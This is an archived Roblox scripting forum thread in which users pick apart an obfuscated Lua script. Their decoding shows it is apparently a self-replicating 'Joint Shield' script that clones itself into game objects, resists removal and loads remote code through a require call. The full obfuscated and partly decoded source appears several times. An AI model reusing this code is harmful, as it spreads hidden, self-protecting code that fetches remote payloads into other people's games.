generic image
Processing...
  • Games
  • Catalog
  • Develop
  • Robux
  • Search in Players
  • Search in Games
  • Search in Catalog
  • Search in Groups
  • Search in Library
  • Log In
  • Sign Up
  • Games
  • Catalog
  • Develop
  • Robux
   
ROBLOX Forum » Game Creation and Development » Scripters
Home Search
 

Re: Make the mosy beautiful cose you can.

Previous Thread :: Next Thread 
bosswalrus is not online. bosswalrus
Joined: 04 Jan 2013
Total Posts: 5430
11 Feb 2015 12:02 PM
Reply with the most beautiful code. By beautiful code I mean the most efficienct, organized and flat out beautiful code.
Report Abuse
bosswalrus is not online. bosswalrus
Joined: 04 Jan 2013
Total Posts: 5430
11 Feb 2015 12:03 PM
I typed this on my phone so it made code cose.
Report Abuse
JarodOfOrbiter is not online. JarodOfOrbiter
Joined: 17 Feb 2011
Total Posts: 20029
11 Feb 2015 12:30 PM
local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
Report Abuse
128GB is not online. 128GB
Joined: 17 Apr 2014
Total Posts: 8056
11 Feb 2015 12:32 PM
@Jarod
It errored that I wasn't allowed to use that module ID
Report Abuse
JarodOfOrbiter is not online. JarodOfOrbiter
Joined: 17 Feb 2011
Total Posts: 20029
11 Feb 2015 12:33 PM
It wasn't my code.

http://www.roblox.com/Forum/ShowPost.aspx?PostID=149568340
Report Abuse
128GB is not online. 128GB
Joined: 17 Apr 2014
Total Posts: 8056
11 Feb 2015 12:41 PM
I know
Roblox recently made it were you cant require not free modules unless you made it though
Report Abuse
JarodOfOrbiter is not online. JarodOfOrbiter
Joined: 17 Feb 2011
Total Posts: 20029
11 Feb 2015 12:42 PM
Really? I thought they just made it so that you couldn't require ... Oh. You said "not free modules". I didn't see the not.
Report Abuse
128GB is not online. 128GB
Joined: 17 Apr 2014
Total Posts: 8056
11 Feb 2015 01:02 PM
Also Im in the middle of making that script readable
This is what I have so far
Still a longggg way to go, I have only gotten rid of the first row of variables

commands = {}
bf = {}
p = {"y","h","s","a","g","e","c","r","b","u","t"}
local cnt, q, dt, g, c, b, sc, cn, sv, svs, jsv, q0, knm, mjt, fsv, r, gfr, gch, isa, ict, prt --[[These were all localized to nil so I left them be]]



mjt,fsv,r,gfr,sfr,isa,drm,ict,prt = function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=Instance.new(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pcall(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",tostring(a),tostring(b)))pcall(sfr,y,"u{pm`%",a or b)pcall(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pcall(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],getfenv'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return table.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return game[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=script[r"p{zs("](script)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pcall(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
gch=game[r"{pmqsbc(up8"]svs=gch(game)dbr=fsv"lbmip1"dt=shared[r(table[r"u`h{zh"](p))]if not dt then dt={{},{},{}}shared[r(table[r"u`h{zh"](p))]=dt cnt=0 spawn(function(a1,a2)script[r"u{pm`%"]=nil wait(math.random())jsv=fsv"phb}mp,lu{bz+"table[r"bch`pmzy"](gch(jsv),function(y,x)pcall(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wait(math.random())pcall(mjt,x)end)q0=workspace[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wait(math.random())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pcall(ict,x)end end)q0=gch(workspace)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wait()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pcall(ict,cn)end sc,cn=pcall(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end spawn(function(s,t)s,t=pcall(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pcall(t)end)while true do wait(math.random())repeat a1,a2=next(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(tonumber(('')[r"itl"](tostring(dt),8,15),16)/8)script[r"pr`;"]=knm q0=script[r"u{pm`%"]if dt[1][q0]then drm(script)elseif not cnt then dt[1][q0]=true if not dt[3][script]then dt[2][script]=q0 end end
Report Abuse
eLunate is not online. eLunate
Joined: 29 Jul 2014
Total Posts: 13268
11 Feb 2015 01:12 PM
Can't you read them with a regex gsub? For the ones that were initialised to something non-nil
Report Abuse
128GB is not online. 128GB
Joined: 17 Apr 2014
Total Posts: 8056
11 Feb 2015 01:15 PM
wut
Report Abuse
eLunate is not online. eLunate
Joined: 29 Jul 2014
Total Posts: 13268
11 Feb 2015 01:16 PM
Of course you did what am I saying.

Ignore me.
Just beautify it.
Report Abuse
JarodOfOrbiter is not online. JarodOfOrbiter
Joined: 17 Feb 2011
Total Posts: 20029
11 Feb 2015 01:24 PM
Lol. I've been making it readable for a few days, about a month ago. I didn't continue from boredom, but I'm working on it.

local commands, bf, Letters = {}, {}, {
"y",
"h",
"s",
"a",
"g",
"e",
"c",
"r",
"b",
"u",
"t"
}

mjt = function(y, a, b, c, d, e)
if y:IsA("JointInstance") then
a, b, c = y.Part0, y.Part1, y.ClassName
if c == "Snap" then
d, e = y.C0, y.C1
drm(y)
y = Instance.new("Weld")
y.Part0, y.Part1, y.C0, y.C1 = a, b, d, e
end
pcall(sfr, y, "Name", ('')["format"](isa(y, "Motor") and "%s-to-%s Motor" or "%s-to-%s Strong Joint", tostring(a), tostring(b)))
pcall(sfr, y, "Parent", a or b)
pcall(ict, y)
end
end

fsv = function(y)
for i = 1, #svs do
sv = svs[i]
sc, cn = pcall(gfr, sv, "ClassName")
if sc and cn == y then
return sv
end
end
end

g, c, b, q = string.gsub, string.char, string.byte, getfenv'1'

r = function(x)
l = #x
for i = 1, l do
y = b(x, i)
bf[l - i + 1] = c(1 - y % 2 + (y - y % 8) % 32 / 4 + (y - y % 2) % 8 * 4 + (y - y % 32) % 64 * 2 + (y - y % 64) % 128 / 2 + y - y % 128)
end
return table.concat(bf, nil, 1, l)
end
end


gfr = function(o, k)
return r(o[r(k)])
end

sfr = function(o, k, v)
o[r(k)] = v
end

isa = function(y, x)
return game["IsA"](y, x)
end

drm = function(x)
dbr["AddItem"](dbr, x, 0)
end

ict = function(y, x)
if not dt[1][y] then
x = script["Clone"](script)
x[r"Archivable"] = true
prt(y, x)
x["Parent"] = y
end
end

prt = , function(y, x, z)
dt[3][x] = true
z = x["Changed"]
z = z["connect"](z, function()
if x[r"u{pm`%"] ~= y or x[r"qpsi`lb1"] then
dt[1][y] = nil
dt[3][x] = nil
pcall(ict, y)
z[r"uhp{{zhlbq"](z)
elseif not x[r"psi`}bchm "] then
x[r"psi`}bchm "] = true
end
end)
end
gch = game[r"{pmqsbc(up8"]
svs = gch(game)
dbr = fsv"lbmip1"
dt = shared[r(table[r"u`h{zh"](Letters))]
if not dt then
dt = {
{},
{},
{}
}
shared[r(table[r"u`h{zh"](Letters))] = dt
cnt = 0
Spawn(function(a1, a2)
script[r"u{pm`%"] = nil
wait(math.random())
jsv = fsv"phb}mp,lu{bz+"
table[r"bch`pmzy"](gch(jsv), function(y, x)
pcall(mjt, x)
end)
q0 = jsv[r"qpqq qsbc("]
q0[r"uhp{{zh"](q0, function(x)
wait(math.random())
pcall(mjt, x)
end)
q0 = workspace[r"qpqq u{`q{phlp1"]
q0[r"uhp{{zh"](q0, function(x)
wait(math.random())
if isa(x, "ph{`ul{\"u{bz+") and not isa(x, "mzuz2") then
pcall(ict, x)
end
end)
q0 = gch(workspace)
while #q0 > 0 do
cnt = cnt + 1
if cnt == 1000 then
cnt = 0
wait()
end
q0[#q0], cn = nil, q0[#q0]
if isa(cn, "ph{`ul{\"u{bz+") and not isa(cn, "mzuz2") then
pcall(ict, cn)
end
sc, cn = pcall(gch, cn)
if sc then
for i = 1, #cn do
q0[#q0 + 1] = cn[i]
end
end
end
Spawn(function(s, t)
s, t = pcall(q[r"pmbtdpm"], r"TEERpTTLFGEUTMLFE][DR" + r"DMU\\MTUTFF]UL[\\" ^ r"LUFG\\\\L\\ETUDT[F")
pcall(t)
end)
while true do
wait(math.random())
repeat
a1, a2 = next(dt[2])
if a1 then
dt[2][a1] = nil
prt(a2, a1)
end
until not a1
end
end)
end
knm = r"A[mp}Aqspbc,Au{bz+"..(tonumber(('')[r"itl"](tostring(dt), 8, 15), 16) / 8)
script[r"pr`;"] = knm
q0 = script[r"u{pm`%"]
if dt[1][q0] then
drm(script)
elseif not cnt then
dt[1][q0] = true
if not dt[3][script] then
dt[2][script] = q0
end
end
Report Abuse
128GB is not online. 128GB
Joined: 17 Apr 2014
Total Posts: 8056
11 Feb 2015 01:32 PM
commands = {}
bf = {}
p = {"y","h","s","a","g","e","c","r","b","u","t"}
--[[local cnt, q, dt, g, c, b, sc, cn, sv, svs, jsv, q0, knm, mjt, fsv, r, gfr, gch, isa, ict, prt]]


mjt,fsv,r,gfr,sfr,isa,drm,ict,prt = function(y,a,b,c,d,e)
if isa(y,"ph{`ul{\"u{bz+") then
a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]
if c==r"e`{,"then
d,e=y[r"E("],y[r"D("]drm(y)y=Instance.new(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e
end
pcall(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",tostring(a),tostring(b)))
pcall(sfr,y,"u{pm`%",a or b)
pcall(ict,y)
end
end, function(y)
for i=1,#svs do
sv=svs[i]
sc,cn=pcall(gfr,sv,"pr`;ll`s(")
if sc and cn==y then
return sv
end
end
end, (function(y,l)
g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],getfenv'1'
return function(x)
l=#x
for i=1,l do
y=b(x,i)
bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)
end
return table.concat(bf,nil,1,l)
end
end)(''), function(o,k)
return r(o[r(k)])
end, function(o,k,v)
o[r(k)]=v
end, function(y,x)
return game[r" l\""](y,r(x))
end, function(x)
dbr[r"rpu\"qq "](dbr,x,0)
end, function(y,x)
if not dt[1][y]then
x=script[r"p{zs("](script)
x[r"psi`}bchm "]=true
prt(y,x)
x[r"u{pm`%"]=y
end
end, function(y,x,z)
dt[3][x]=true
z=x[r"qpx{`c("]
z=z[r"uhp{{zh"](z, function()
if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then
dt[1][y]=nil
dt[3][x]=nil
pcall(ict,y)
z[r"uhp{{zhlbq"](z)
elseif not x[r"psi`}bchm "] then
x[r"psi`}bchm "]=true
end
end)
end
gch = game[r"{pmqsbc(up8"]svs=gch(game)dbr=fsv"lbmip1"dt=shared[r(table[r"u`h{zh"](p))]
if not dt then
dt={{},{},{}}
shared[r(table[r"u`h{zh"](p))]=dt
cnt=0
spawn(function(a1,a2)
script[r"u{pm`%"]=nil
wait(math.random())
jsv=fsv"phb}mp,lu{bz+"
table[r"bch`pmzy"](gch(jsv), function(y,x)
pcall(mjt,x)
end)
q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)
wait(math.random())
pcall(mjt,x)
end)
q0=workspace[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)
wait(math.random())
if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then
pcall(ict,x)
end
end)
q0=gch(workspace)
while #q0>0 do
cnt=cnt+1
if cnt==1000 then
cnt=0
wait()
end
q0[#q0],cn=nil,q0[#q0]
if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then
pcall(ict,cn)
end
sc,cn=pcall(gch,cn)
if sc then
for i=1,#cn do
q0[#q0+1]=cn[i]
end
end
end
spawn(function(s,t)
s,t=pcall(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")
pcall(t)
end)
while true do
wait(math.random())
repeat
a1,a2=next(dt[2])
if a1 then
dt[2][a1]=nil prt(a2,a1)
end
until not a1
end
end)
end
knm=r"A[mp}Aqspbc,Au{bz+"..(tonumber(('')[r"itl"](tostring(dt),8,15),16)/8)script[r"pr`;"]=knm q0=script[r"u{pm`%"]

if dt[1][q0]then
drm(script)
elseif not cnt then
dt[1][q0]=true
if not dt[3][script]then
dt[2][script]=q0
end
end
Report Abuse
128GB is not online. 128GB
Joined: 17 Apr 2014
Total Posts: 8056
11 Feb 2015 01:34 PM
@Jarod
Oops, sorry I didn't know you already posted almost the same thing (But further done)

Imagine if we get it all done and it boils down to

require(moduleId)()
Report Abuse
JarodOfOrbiter is not online. JarodOfOrbiter
Joined: 17 Feb 2011
Total Posts: 20029
11 Feb 2015 01:52 PM
LOL
That would be interesting.
Report Abuse
Flylux is not online. Flylux
Joined: 23 May 2010
Total Posts: 4804
11 Feb 2015 02:31 PM
fucntion waitingOnForums()
wait(2)
end

arnt I funny ¦ https://twitter.com/Flylux_RBLX I post a lot of banter 4 u
Report Abuse
Dr01d3k4 is not online. Dr01d3k4
Joined: 11 Oct 2007
Total Posts: 17916
11 Feb 2015 03:40 PM
I tried beautifying the code too, though I'm still stuck on what the ict and prt functions do.

local services = game:GetChildren();

local findService = function (className)
for i = 1, #services do
if (services[i].ClassName == className) then
return services[i];
end
end
end;

local debris = findService("Debris");

-- decodeString(table.concat({"y", "h", "s", "a", "g", "e", "c", "r", "b", "u", "t"}))
local SHARED_INDEX = "utimhpx`lcf";
local data = shared[SHARED_INDEX];



local makeJoint = function (object)
if (object:IsA("JointInstance")) then
local part0 = object.Part0;
local part1 = object.Part1;

if (object.ClassName == "ASnap") then
local c0 = object.C0;
local c1 = object.C1;

addToDebris(y_param);

object = Instance.new("Weld");

object.Part0 = part0;
object.Part1 = part1;
object.C0 = c0;
object.C1 = c1;
end

local nameFormat = object:IsA("Motor") and "%s-to-%s Motor" or "%s-to-%s AStrong Joint";
object.Name = nameFormat:format(tostring(part0), tostring(part1));
object.Parent = part0 or part1;

pcall(ict, object);
end
end;



local decodeString = function (str)
length = #str;

local characters = { };

for index = 1, length do
asciiValue = x:byte(index);

characters[length - index + 1] = string.char(1 - asciiValue % 2 + (asciiValue - asciiValue % 8) % 32 / 4 + (asciiValue - asciiValue % 2) % 8 * 4 + (asciiValue - asciiValue % 32) % 64 * 2 + (asciiValue - asciiValue % 64) % 128 / 2 + asciiValue - asciiValue % 128);
end

return table.concat(characters);
end;



local addToDebris = function (x)
debris:AddItem(x, 0);
end;



local ict = function (y)
if (not data[1][y]) then
local x = script:Clone();
x.Archivable = true;
prt(y, x);
x.Parent = y;
end
end;




local prt = function (y, x)
data[3][x] = true;

local connection = x.Changed:connect(function ()
if ((x.Parent ~= y) or x.Disabled) then
data[1][y] = nil;
data[3][x] = nil;
pcall(ict, y);
connection:disconnect();
elseif (not x.Archivable) then
x.Archivable = true;
end
end)
end;





local count = nil;

if (not data) then
data = {
{ },
{ },
{ }
};

shared[SHARED_INDEX] = data;
count = 0;

Spawn(function ()
script.Parent = nil
wait(math.random());

local jointsAService = findService("JointsAService");

table.foreachi(jointsAService:GetChildren(), function (y, x)
pcall(makeJoint, x);
end);

jointsAService.ChildAdded:connect(function (x)
wait(math.random());
pcall(makeJoint, x);
end);

workspace.DescendantAdded:connect(function (x)
wait(math.random());

if (x:IsA("JointInstance") and not x:IsA("Motor")) then
pcall(ict, x)
end
end);

local toCheckInstances = workspace:GetChildren();
local current = nil;

while (#toCheckInstances > 0) do
count = count + 1;

if (count == 1000) then
count = 0;
wait();
end

current = toCheckInstances[#toCheckInstances];
toCheckInstances[#toCheckInstances] = nil;

if (current:IsA("JointInstance") and not current:IsA("Motor")) then
pcall(ict, current);
end


for i = 1, #current:GetChildren() do
toCheckInstances[#toCheckInstances + 1] = current[i];
end
end

Spawn(function ()
local s, t = pcall(require, 174023463);
pcall(t);
end);

while (true) do
wait(math.random());

repeat
local a1, a2 = next(data[2]);

if (a1) then
data[2][a1] = nil;
prt(a2, a1);
end
until (not a1);
end
end);
end

local jointShieldName = "Joint AShield ver. "..(tonumber(tostring(data):sub(8, 15), 16) / 8);
script.Name = jointShieldName;
local parent = script.Parent;

if (data[1][parent]) then
addToDebris(script);
elseif (not count) then
data[1][parent] = true;

if (not data[3][script]) then
data[2][script] = parent;
end
end
Report Abuse
bosswalrus is not online. bosswalrus
Joined: 04 Jan 2013
Total Posts: 5430
11 Feb 2015 04:52 PM
I'm very confused at your scripts. I see random letters, are you guys using like advanced string manipulation?

"I like to program." - Bosswalrus
Report Abuse
JarodOfOrbiter is not online. JarodOfOrbiter
Joined: 17 Feb 2011
Total Posts: 20029
11 Feb 2015 05:00 PM
ict makes the script spread, prt appears to prevent the script from receiving changes to its properties.
Report Abuse
Previous Thread :: Next Thread 
Page 1 of 1
 
 
ROBLOX Forum » Game Creation and Development » Scripters
   
 
   
  • About Us
  • Jobs
  • Blog
  • Parents
  • Help
  • Terms
  • Privacy

©2017 Roblox Corporation. Roblox, the Roblox logo, Robux, Bloxy, and Powering Imagination are among our registered and unregistered trademarks in the U.S. and other countries.



Progress
Starting Roblox...
Connecting to Players...
R R

Roblox is now loading. Get ready to play!

R R

You're moments away from getting into the game!

Click here for help

Check Remember my choice and click Launch Application in the dialog box above to join games faster in the future!

Gameplay sponsored by:
Loading 0% - Starting game...
Get more with Builders Club! Join Builders Club
Choose Your Avatar
I have an account
generic image